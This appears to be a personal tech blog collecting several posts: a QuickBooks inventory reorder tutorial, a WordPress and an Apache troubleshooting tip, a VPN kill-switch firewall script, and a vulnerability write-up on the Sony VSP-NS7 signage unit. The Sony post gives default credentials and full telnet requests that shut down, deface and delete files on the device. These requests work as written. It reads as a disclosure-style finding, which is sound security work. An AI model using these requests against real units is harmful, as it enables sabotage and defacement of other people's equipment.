QuickBooks is an exceptionally good and well known piece of accounting software.  I have found that many things can be accomplished with QuickBooks if you are willing to think outside the box to get them done.

We all know that inventory is an important part of any business.  It must be tracked and accounted for properly to ensure fluid day to day operations.  We can train our staff and schedule customer service calls but if we don’t have the inventory on hand, we are stuck in a waiting game.

QuickBooks does not have a very good method to set-up reorder alerts at specific quantities.  You are allowed to set a reorder point for specific items and view them in the Company Snapshot screen.  Unfortunately we don’t know the specific quantity to order for each item or what the total cost of the order will be.  So how do we add this ability?  Why isn’t this feature included?  We could purchase third party software to accomplish this task but who wants to spend additional money on a feature that really should be included.

In this three part series I will show you how to modify existing inventory items we want to track, customize a report of these items and filter the results to give us an easy to use inventory reorder list.

Our first goal in this process is to edit the existing inventory items that we need to track.  These should be essential items that are used on a frequent basis.  First open up the item list, Lists => Item List, and double click on the items that need to be modified.  At the bottom of the Edit Item screen, you will notice a field labeled Reorder Point.  This is what QuickBooks uses to trigger a reorder point in the Company Snapshot screen.  You will need to enter the minimum quantity on hand that will prompt you to reorder.

Now, lets setup a custom field to tell us how much of one item we wish to order.  This will be the maximum quantity that we wish to have on hand.  To do this we must be in single user mode if you work in a multi-user environment.  Next we need to click on Custom Field => Define Fields and select an unused label.  We will name this label Max Reorder Qty and make sure that the Use box is checked.  The final thing left to do is enter the max quantity we wish to have on hand of the particular item and click OK for all screens.

Once you have finished setting up all of the items that you wish to track in your inventory list, we are ready to move on to the next part of our series.  QuickBooks – Inventory Reorder System Part 2 – Setting up a custom reorder report.

[Generate Report Part 2]

[Set up Items Part 1][Generate Report Part 2]

In the first two parts of our series, we determined that QuickBooks does not have an all-in-one function to give you a report on items that need to be reordered.  Because of this deficiency, we have developed a system to generate a list in QuickBooks, export it to Excel and extract the information we need.

To generate this report, click on Reports => Memorized Reports => Inventory => Reorder Report.

This will bring up an item listing report that has been previously setup and formatted.  This will take care of the QuickBooks side of this process and all that needs to be done now is export the report to Excel and make a few formatting changes.

(Please note that these instructions were written for Office 2003. If anyone needs instructions for Office 2007, please let me know and I will post them.)

The first change is to shorten header columns for printing purposes.  To allow us to shorten the header columns click on Edit => Replace or press Ctrl+H.  This will allow you to find and replace words in an Excel document.  The words we want to replace are quantity with Qty, sales order with SO and purchase order with PO.  The next step is to select all of blank column A and delete it.  Now select columns F-J and click on Format => Columns => AutoFit Selection.

Now we need to add two column headers, one for Reorder Qty and one for Total Cost.  Once this is finished your sheet should look similar to the one below.

With the formatting out of the way we are ready to enter the formula for the reorder quantity column.  Under the Reorder Qty column, J in this example, on the row below the header, enter the following formula:

=IF(I2-G2-F2+E2=0,"",IF(H2="","",IF(G2<=H2,I2-G2-F2+E2,"")))

The first part of this formula checks to see if the max reorder quantity minus the quantity on hand minus the quantity on order plus the quantity on sales order equals zero.  If it does, that means we have enough on order and there is no need to order more.  If H2 is blank don’t add it into the equation either.  If the quantity on hand is not less than or equal to zero then we subtract the same rows again and enter the result into our spreadsheet.

The total cost column formula will be much easier to type.  All we need to do is multiply the reorder quantity by the cost column to get the total amount.  In this example the formula looks like this:

=J2*D2

With the formulas entered, copy them down to the last row and we are ready to sort the spreadsheet.  Select the reorder quantity header and click Data => Filter => AutoFilter.  Now you will notice drop down selection boxes for each of the column headers.  Click on the drop down box for the Reorder Point column and select nonblanks.  Repeat this step for the reorder quantity column.  You should end up with something similar to the picture below.

To total the Total Cost column, we need to insert a sumif formula that will do the work for us.  In our example it would look something similar to what you see below.

=SUMIF(J214:J4380,">0",K214:K4380)

This basically says that we need to sum all of column K if the cells in column J are greater than 0.  This formula will vary greatly with each report that is extracted from QuickBooks.

The only steps remaining are to format and print the report and use it to order the items.  Using this report along with proper tracking of the inventory on hand will make the ordering process much easier. Feel free to let me know if you have any issues.

[Set up Items Part 1][Generate Report Part 2]

I have been trying for a few hours to get the Android WordPress app working with very little success.  The only error I was given after trying to log in was, No blog for that account.  After doing several searches and not really getting anywhere, I decided to check my wp-config.php.

I run WordPress in a multisite environment with several other bloggers.  Upon inspection of my config file, I discovered that the BLOG_ID_CURRENT_SITE and SITE_ID_CURRENT_SITE was set to 2 instead of 1.  I changed the id back, tried logging in again and VIOLA!  I was able to connect and browse all of the other blogs in my network as well.  Hopefully this will help someone else out that is having a similar problem.

The HMA program for OSX is not as advance as the Windows version and lacks several features. My main complaint with the software is that you are unable to bind programs to the VPN connection. Since the whole point of using this service is to be anonymous, this would be defeated if the connection is lost for any reason.

The following script will bind all network activity to the VPN connection. Before using this script there are a few things that will need to be done. Please note that you will need root access to use this script.

1. Determine your path to Perl:

nDarkness:bin safety$ which perl
/opt/local/bin/perl

(This may be different on your system.)

2. Substitute this as the first line of the script below
3. Delete all firewall rules if they exist:

nDarkness:bin safety$ sudo ipfw f
Password:
Are you sure? [yn] y

Flushed all rules.

4. Now create a file with the command below and paste the script below that:

nDarkness:bin safety$ nano vpn_ipfw.pl

#!/opt/local/bin/perl -w

use strict;

my $route = `netstat -r`;

$route =~ m{(.*?)/32};

my $address = "$1:443";

system('ipfw add 01000 allow ip from any to any via tun0');
system("ipfw add 01100 allow ip from any to $address");
system('ipfw add 01200 deny ip from any to not me');
system('ipfw add 65535 allow ip from any to any');

5. After this is entered, press ctrl+x => y => enter
6. Use the HMA software to connect to a VPN server and then run our script:

nDarkness:bin safety$ sudo perl vpn_ipfw.pl

Now if we lose our connection to the VPN server all networking activity will completely stop. To reconnect networking again you will need to repeat step 3 above.

Sony has made a pretty big name for themselves recently by exposing their trusting customer’s confidential information. As details continue to emerge, it’s pretty obvious that Sony is the only one to blame. By taking a lackadaisical approach to network security, their customers are having to pay the price.

• If the shoes were switched and you were one of the Sony board members, what would you do to ensure your customers that the same mistakes won’t be repeated?
• How do you “make it up” to them for the mistake?
• Is Sony’s only saving grace their seemingly endless checkbook?
• How many of you will never do business with Sony again?

Recently I tested out a Sony VSP-NS7 digital signage unit for a customer. This machine really impressed me considering I had used its predecessor the NSP100 and the newer technology was just what the client needed.

After doing some online searching I found that, other than the manual, there wasn’t much information out there on this unit. Knowing that we were going to place this box on a public network, I decided to run a few tests. I began by firing up Wireshark to sniff traffic to and from this box and was very surprised by what I found.

From this research I was able to determine that there is a web server running on port 4980 by default. Next I was able to retrieve the default username and password of the box by decoding the base64 string below.

Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
Authorization: Basic NSPXuser:NSPXuser
space

Since this isn’t published anywhere else I have seen, I would guess that not many users of this system know about it. In fact I would dare say that most installations of this system are still using the default username and password since Sony only mentions that the box can be controlled using their additional VSPA-D7 management software. If it costs big bucks it must be good, right?

Below are some of my findings:

Default user information
————————
User: NSPXuser
Pass: NSPXuser
Port: 4980

Found commands
————————
http://ip:4980 – Contains sofware version, unit name, unit and harddrive serial number and MAC address.
http://ip:4980/import/ – Contains all user uploaded content.
http://ip:4980/command.php – Uses several get variables to control the box.
http://ip:4980/upload.php – Used in conjunction with get variables to send content to the box.

http://ip:4980/command.php?cmd=NLOG&comp=cab - Download system logs.
http://ip:4980/command.php?cmd=SLOG – Displays system logs.
http://ip:4980/command.php?cmd=SYST – System statistics.
http://ip:4980/command.php?cmd=DRST – Harddrive statistics.
http://ip:4980/command.php?cmd=PLCL – Play files.
http://ip:4980/command.php?cmd=SPCL – Stop playing files.
http://ip:4980/command.php?cmd=CLST&table=web – List files based on type – web, still, movie and text.
http://ip:4980/command.php?cmd=LCNF – Load configuration files.
http://ip:4980/command.php?cmd=RMCL – Remove files.
http://ip:4980/command.php?cmd=LTBL – Load tables.

Power off and restart
————————
http://ip:4980/command.php?cmd=RSET&shutdown – Turn the unit off
http://ip:4980/command.php?cmd=RSET&reboot – Restart unit


space

Shutdown Sony VSP-NS7

Fire up a telnet session and enter:

telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=RSET&shutdown HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache

Without any warning the unit will shut down and have to be restarted from the box or management software if the network allows magic packets.

URL Injection/Defacement Sony VSP-NS7

Fire up a telnet session and enter:

telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
PUT /upload.php?href=/import/db/property0.xml&append=0&mkdir=0 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Content-Length: 601
Cache-Control: no-cache

<?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?>
<content ver=&quot;1.0&quot; date=&quot;2010-09-06&quot; time=&quot;21:28:43&quot;>
	<delete table=&quot;WEB_TBL&quot;>
		<index>004000003</index>
	</delete>
	<insert table=&quot;WEB_TBL&quot;>
		<index>004000003</index>
		<cdate>2010-09-06 21:21:55.678</cdate>
		<title>Pwnage</title>
		<size>0</size>
		<deldate>2010-10-06</deldate>
		<link>http://www.ndarkness.com/?p=577</link>
		<info>Pwned</info>
		<change>01</change>
		<width>0</width>
		<height>0</height>
		<xoffset>0</xoffset>
		<yoffset>0</yoffset>
		<xoption>0</xoption>
		<xreload>0</xreload>
	</insert>
</content>

Next we write the group file.

telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
PUT /upload.php?href=/import/group0.xml&append=0&mkdir=0 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Content-Length: 185
Cache-Control: no-cache

<?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?>
<group ver=&quot;1.0&quot; date=&quot;2010-09-06&quot; time=&quot;21:28:43&quot;>
	<property date=&quot;2010-09-06&quot; time=&quot;21:28:43&quot;>/import/db/property0.xml</property>
</group>

Now we need to load the file.

telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=LTBL&file=/import/group0.xml&mode=2 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache

Finally let’s force the unit to call our url.

telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=PLCL&id=06&index=004000003 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache

Delete Files From Sony VSP-NS7

First we need to obtain a list of images on the unit.
Fire up a telnet session and enter:

telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=CLST&table=still HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache

Now we simply select the image we want to delete and enter the following:

telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=RMCL&table=still&index=002000002 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache

The VSPA-D7 management software does allow the default password and port to be changed but if the traffic is sniffed, the password can be easily decoded again. Not to mention we can use similar attack method to change the password of the box and lock the administrator out. Talk about a denial of service!

The only secure solution for this unit, is to use a crossover cable and directly connect to the box or put it on a network by itself. If you leave it on a public network it is only a matter of time before it falls prey to one of the attacks listed above.

In an effort to save you an afternoon of searching, I thought I would post this to help the OS X users having this issue. There are the usual causes of no content in the web root, firewall blocking requests, incorrect permissions and/or httpd.conf syntax errors. The one error that is a little tougher to track down is apache not being able to create log files. Check the line in the httpd.conf file that shows the path to apache’s log file. It should look something like this:

ErrorLog “/private/var/log/apache2/error_log”

Now if the directory apache2 does not exist in /private/var/log/, apache will fail to start without giving you much of an error message. To correct this, in terminal type:

sudo mkdir /private/var/log/apache2

Enter your admin password and restart apache either in System Preferences=>Sharing=>Web Sharing or in terminal by typing:

 sudo apachectl restart

Once this is done, enter your web address in the web browser and you should see your pages load. Hope this helps!